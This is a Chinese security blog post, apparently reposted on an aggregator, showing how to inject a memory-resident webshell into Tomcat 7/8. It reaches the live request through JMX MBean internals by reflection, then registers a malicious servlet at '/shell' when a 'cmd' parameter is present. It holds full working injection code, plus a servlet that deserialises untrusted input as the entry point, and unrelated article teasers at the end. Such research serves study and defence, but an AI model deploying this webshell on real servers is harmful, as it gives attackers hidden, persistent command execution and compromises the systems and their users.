从Tomcat源码中寻找request路径进行注入

news2024/11/13 16:45:47

前言

前面主要是通过寻找一个全局存储的request / response来进行Tomcat中间下的回显,但是在tomcat
7环境下并不能够获取到StandardContext对象,这里李三师傅在前文的基础中发现了在AbstractProtocol$ConnectionHandler#register的调用中不仅像之前的思路一样将获取到的RequestInfo对象存放在了global属性中。

image-20221104160336852.png

同样通过调用Registry.getRegistry((Object)null, (Object)null).registerComponent方法将RequestInfo对象进行组件的注册流程中。

正文

获取回显

紧跟上面,我们跟进这个registerComponent方法的调用。

image-20221104160545681.png

对于传入的这个bean对象,首先通过他的类型获取了一个ManagedBean对象,调用其createMBean方法创建了一个MBean对象,最后调用了registerMBean进行该MBean的注册,跟进一下。

image-20221104161651661.png

调用了mbsInterceptor属性的registerMBean方法进行注册,这里的mbsInterceptor属性即是DefaultMBeanServerInterceptor对象,跟进一下。

image-20221104161846862.png

在这个方法调用了该类的registerObject方法进行注册,

image-20221104161941654.png

在这个方法中,调用了Introspector#makeDynamicMBean方法创建了一个动态的MBean,之后调用了registerDynamicMBean方法进行动态MBean的注册。

image-20221104162502837.png

最后调用了registerWithRepository进行进一步的注册,

image-20221104162538165.png

在这个方法中,调用了该类的repository属性的addMBean方法进行MBean的添加。

image-20221104163011422.png

在这个方法的后面,首先会根据dom取出对应的信息,如果不存在,将会调用addNewDomMoi方法将这个Bean进行了添加

image-20221104163220179.png

传入了一个map对象,其中包含有我们的requstInfo的信息,

我们之后通过idea的Evaluate来进行调试,

image-20221104163429199.png

这里的Catelina也就是和tomcat相关的组件信息,值得注意的是,如果使用springboot内置的tomcat启动服务,这里不再是Catalina而应该是Tomcat这个key值。

这里的value值就是我们在上面最后一步put进入的一个map对象,

image-20221104163613671.png

有很多,其中一个是包含有我们需要的request / response对象的,

可以关注到下面这个key值,

image-20221104163707896.png

其中的name字段的格式就是protocol-nio-port,这里我的环境是tomcat 8, 如果是tomcat
7环境这里的nio应该为bio才对。

在其value字段中的NamedObject对象中,

image-20221104163913934.png

能够找到我们需要的RequestInfo对象。

所以总结一下我们获取request的流程大致为,

image-20221104164046568.png

首先是通过反射一步一个获取到domainTb这个Map对象中key值为Catalina的value值,

image-20221104164155539.png

之后从我们前面得到的value对象中获取到我们需要的RequestInfo类,进而获取到Request / Response对象。

构造回显内存马

基于上面的思路,我们可以通过以下代码获取回显,

// 获取JmxMBeanServer对象
            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
            // 获取DefaultMBeanServerInterceptor中的repository属性
            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
            // 反射获取Repository对象的domainTb这个Map对象
            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
            // 使用Tomcat启动服务
            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            // 使用Springboot启动服务
//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
            // 从获取的NamedObject对象中反射获取他的object属性
            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值
            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
            // 遍历前面得到的ArrayList列表,获取想要的请求
            for (Object processor : processors) {
                // 强转为RequestInfo类型
                RequestInfo requestInfo = (RequestInfo) processor;
                // 反射获取对应的req属性
                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));

在获取了request对象之后,我们理应筛选一下本次请求的Request是哪一个进而保证能够执行后续操作

完整代码为

try {
            // 获取JmxMBeanServer对象
            MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
            // 反射获取JmxMBeanServer对象的mbsInterceptor属性值,也即是DefaultMBeanServerInterceptor对象
            Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"));
            // 获取DefaultMBeanServerInterceptor中的repository属性
            Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"));
            // 反射获取Repository对象的domainTb这个Map对象
            HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"));
            // 获取该HashMap中有关于Catalina这个hashMap对象进而获取到了GlobalRequestProcessor
            // 使用Tomcat启动服务
            Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            // 使用Springboot启动服务
//            Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor");
            // 从获取的NamedObject对象中反射获取他的object属性
            Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"));
            // object属性是一个BaseModelMBean对象,反射获取他的resource属性值
            Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"));
            // resource属性是一个RequestGroupInfo对象,反射获取他的processors属性值
            ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
            // 遍历前面得到的ArrayList列表,获取想要的请求
            for (Object processor : processors) {
                // 强转为RequestInfo类型
                RequestInfo requestInfo = (RequestInfo) processor;
                // 反射获取对应的req属性
                org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                // 筛选请求
                if (req.getParameters().getParameter("cmd") != null) {
                    // 将req对象转为org.apache.catalina.connector.Request对象进行内存马的注入
                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
                    // 获取对应的ServletContext上下文环境
                    ServletContext servletContext = request.getServletContext();
                    // 注入Servlet内存马的步骤
                    String name = "RoboTerh";
                    if (servletContext.getServletRegistration(name) == null) {
                        StandardContext o = null;

                        // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                        while (o == null) {
                            Field f = servletContext.getClass().getDeclaredField("context");
                            f.setAccessible(true);
                            Object obj = f.get(servletContext);

                            if (obj instanceof ServletContext) {
                                servletContext = (ServletContext) obj;
                            } else if (obj instanceof StandardContext) {
                                o = (StandardContext) obj;
                            }
                        }

                        //自定义servlet
                        Servlet servlet = new TomcatMemshell3();

                        //用Wrapper封装servlet
                        Wrapper newWrapper = o.createWrapper();
                        newWrapper.setName(name);
                        newWrapper.setLoadOnStartup(1);
                        newWrapper.setServlet(servlet);

                        //向children中添加Wrapper
                        o.addChild(newWrapper);
                        //添加servlet的映射
                        o.addServletMappingDecoded("/shell", name);
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

测试

因为之前的spring-boot 2.5.0内置的tomcat版本是9.x,不能够通过该种方式进行内存马的注入。

所以我这里环境就选用Tomcat 8的容器进行搭建,

其中的存在反序列化漏洞的Servlet为。

package com.roboterh.web;

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;

@WebServlet("/unser")
public class ServletTest extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            java.io.InputStream inputStream = req.getInputStream();
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动服务之后发送序列化数据,

验证是否成功注入,

image-20221104164949242.png

能够成功进行注入操作。

Ref

https://xz.aliyun.com/t/7535

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

启动服务之后发送序列化数据,

验证是否成功注入,

[外链图片转存中…(img-lWUuXaan-1676874527645)]

能够成功进行注入操作。

Ref

https://xz.aliyun.com/t/7535

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/359620.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【蓝桥集训】第五天——递推

作者:指针不指南吗 专栏:Acwing 蓝桥集训每日一题 🐾或许会很慢,但是不可以停下来🐾 文章目录1.砖块递推算法是一种简单的算法,通过已知条件,利用特定关系得出中间推论,逐步递推&…

CSS样式

CSS Css的优势&#xff1a; 内容和表现分离网页结构表现统一&#xff0c;可以实现复用样式丰富建议使用独立的html的css CSS的导入方式 第一种导入方式 &#xff1a;行内样式 <!DOCTYPE html> <html lang"en"> <head><meta charset"U…

清洁级动物(CL)实验室设计SICOLAB

清洁级动物&#xff08;CL&#xff09;实验室设计清洁级动物&#xff08;CL&#xff09;实验室设计有哪些内容&#xff1f;工艺流程是如何&#xff1f;功能房间的划分清洁级动物实验室&#xff08;CL实验室&#xff09;是进行高洁净度动物实验的专门场所&#xff0c;需要满足一…

无水印的电脑录屏软件,推荐这3款软件,2023年新版

很多小伙伴最近喜欢在私信中询问小编&#xff0c;都已经是2023年了&#xff0c;有没有一款特别好用无水印的电脑录屏软件。当然有啦&#xff01;今天小编就应各位小伙伴的要求&#xff0c;在这里分享3款好用的无水印电脑录屏软件&#xff0c;一起来看看吧。 无水印的电脑录屏软…

2022社交平台设备风险安卓占三成,iOS 仅占一成

目录 2022年度社交平台风险分析 社交平台黑灰产作弊手段分析 社交平台如何应对&#xff1f; 随着移动互联网的发展&#xff0c;社交媒体进入“人人皆媒”时代。社交不再仅仅满足于用户即时通讯的需求&#xff0c;还承载了在线支付、内容分享等等的多元功能&#xff0c;正不断…

Rsync服务端和客户端多模块和排错

一台服务器可能有N多个文件需要同步备份, 那怎么办呢? 其实这个也很容易解决, 就是在服务器端多建几个模块, 每个模块包含不同的文件夹, 使用同样的密码文件即可实现. 如同下面的: use chroot false #不使用chroot, 其实这个应该是针对linux系统来说的.既然是默认的, …

jQuery.NiceScroll - 有史以来最好的 nicescroll 版本——在现代浏览器和移动设备上极其流畅和一致,资源使用率低(中文文档)

jQuery.NiceScroll特征依赖关系使用配置参数有史以来最好的 nicescroll 版本——在现代浏览器和移动设备上极其流畅和一致&#xff0c;资源使用率低 官网:nicescroll.areaaperta.com GitHub:github.com/inuyaksa/jquery.nicescroll CDN引入: https://www.bootcdn.cn/jquery.nic…

Flink-Table API 和 SQL(基本API、流处理的表、时间属性和窗口、聚合查询、联结查询、函数、SQL客户端、连接到外部系统)

文章目录Table API 和 SQL快速上手基本 API程序架构创建表环境创建表表的查询输出表表和流的转换流处理中的表动态表和持续查询将流转换成动态表原理用 SQL 持续查询-更新查询&追加查询将动态表转换为流(Append-only、Retract、Upsert)时间属性和窗口事件时间处理时间窗口&…

使用react hooks 封装的圆形滚动组件

相关技术 react , hooks , ts 功能描述 根据用户的触摸&#xff0c;对卡片进行一个圆形的旋转滚动。 码上掘金 引入组件好像不支持ts类型会报错&#xff0c;所以功能函数就丢到一个文件里面了 使用 引入 ScrollRotate 组件&#xff0c;在需要使用的数据列表外包裹一层&…

[Datawhale][CS224W]图机器学习(四)

目录一、回顾二、图嵌入概述2.1 补充知识——表示学习2.2 图嵌入2.3 图嵌入-基本框架 编码器——解码器2.3.1 编码器2.3.2 解码器2.3.3 执行步骤2.4 随机游走2.4.1 随机游走的方法步骤2.4.2 计算优化三、随机梯度下降3.1 SGD步骤3.2 批处理四、node2vec五、基于随机游走的图嵌入…

vivo x TiDB丨解决云服务海量数据挑战

vivo 是一家全球性的移动互联网智能终端公司&#xff0c;品牌产品包括智能手机、平板电脑、智能手表等 &#xff0c;截至 2022 年 8 月&#xff0c;已进驻 60 多个国家和地区&#xff0c;全球用户覆盖 4 亿多人。 vivo 为用户提供了在手机上备份联系人、短信、便签、书签等数据…

k8s-kubeadm部署

文章目录一、准备环境二、安装docker三、安装kubeadm&#xff0c;kubelet和kubectl四、部署容器网络五、部署UI一、准备环境 1.安装要求 在开始之前&#xff0c;部署Kubernetes集群机器需要满足以下几个条件&#xff1a; 一台或多台机器&#xff0c;操作系统 CentOS7.x-86_x6…

论文阅读:pixelNeRF: Neural Radiance Fields from One or Few Images

中文标题&#xff1a;从一或少量图像中构建神经辐射场 提出问题 NeRF效果虽然惊艳&#xff0c;但是其需要大量环绕图像以及长时间的训练。 创新点 与原始的NeRF网络不使用任何图像特征不同&#xff0c;pixelNeRF将与每个像素对齐的空间图像特征作为输入。也可以集合更多输入…

计算机网络(第三版) 胡亮 课后习题第三章答案

计算机网络&#xff08;第三版&#xff09; 胡亮 课后习题第三章答案 1、双绞线电缆有哪两种&#xff1f; 非屏蔽双绞线&#xff08;UTP&#xff09;和屏蔽双绞线(STP) 2、UTP分为几类&#xff1f; UTP安好电气性能分为8种类型&#xff1a;1类、2类、3类、4类、5类、超5类、6类…

python基于vue学生毕业离校系统

可定制框架:ssm/Springboot/vue/python/PHP/小程序/安卓均可开发 目录 1 绪论 1 1.1课题背景 1 1.2课题研究现状 1 1.3初步设计方法与实施方案 2 1.4本文研究内容 2 2 系统开发环境 4 3 系统分析 6 3.1系统可行性分析 6 3.1.1经济可行性 6 3.1.2技术可行性 6 3.1.3运行可行性 6…

面试攻略,Java 基础面试 100 问(十二)

如何将字符串转换为基本数据类型&#xff1f; 调用基本数据类型对应的包装类中的方法 parseXXX(String)或 valueOf(String)即可返回相应基本类型&#xff1b; 如何将基本数据类型转换为字符串&#xff1f; 一种方法是将基本数据类型与空字符串&#xff08;””&#xff09;连…

面试官最喜欢的软件测试工程师简历模板

目录 个人信息 求职意向 职业技能 工作经历 项目经历 工作经历 项目经历 教育经历 自我评价 总结 个人信息 姓 名&#xff1a;xxx 性 别&#xff1a;女 手 机&#xff1a;xxxxxxxxxxxx 最高学历&#xff1a;统招硕士 工作年限&am…

专业运动耳机哪个牌子好、专业运动耳机推荐

近些年&#xff0c;户外运动兴起&#xff0c;运动耳机迎来爆发增长&#xff0c;拒绝运动乏味&#xff0c;追求健康运动方式&#xff0c;已经成为当下年轻人的共同诉求。跑步骑行听音乐&#xff0c;已经是运动爱好者再熟悉不过的操作&#xff0c;很多人在运动中离不开音乐的节奏…

【小程序】新版uniapp登录流程以及获取头像和昵称

众所周知&#xff0c;小程序新版登录无法拿到头像和昵称&#xff01; 这篇文章讲解如何获取到微信用户昵称和头像 成品效果 步骤一&#xff0c;点击登录&#xff0c;获取token 步骤二&#xff0c;登录按钮隐藏&#xff0c;展示上传按钮 步骤三&#xff0c;点击上传按钮…

k8s介绍-组件架构-核心

文章目录一、Kubernetes介绍1、什么是Kubernetes&#xff1f;2、为什么需要Kubernetes&#xff0c;它能做什么&#xff1f;3、k8s的特性二、k8s集群架构与组件1、Master组件2、配置存储中心——etcd3、Worker Node 组件3.1 Node节点的工作流程&#xff1a;●Kubelet●Kube-Prox…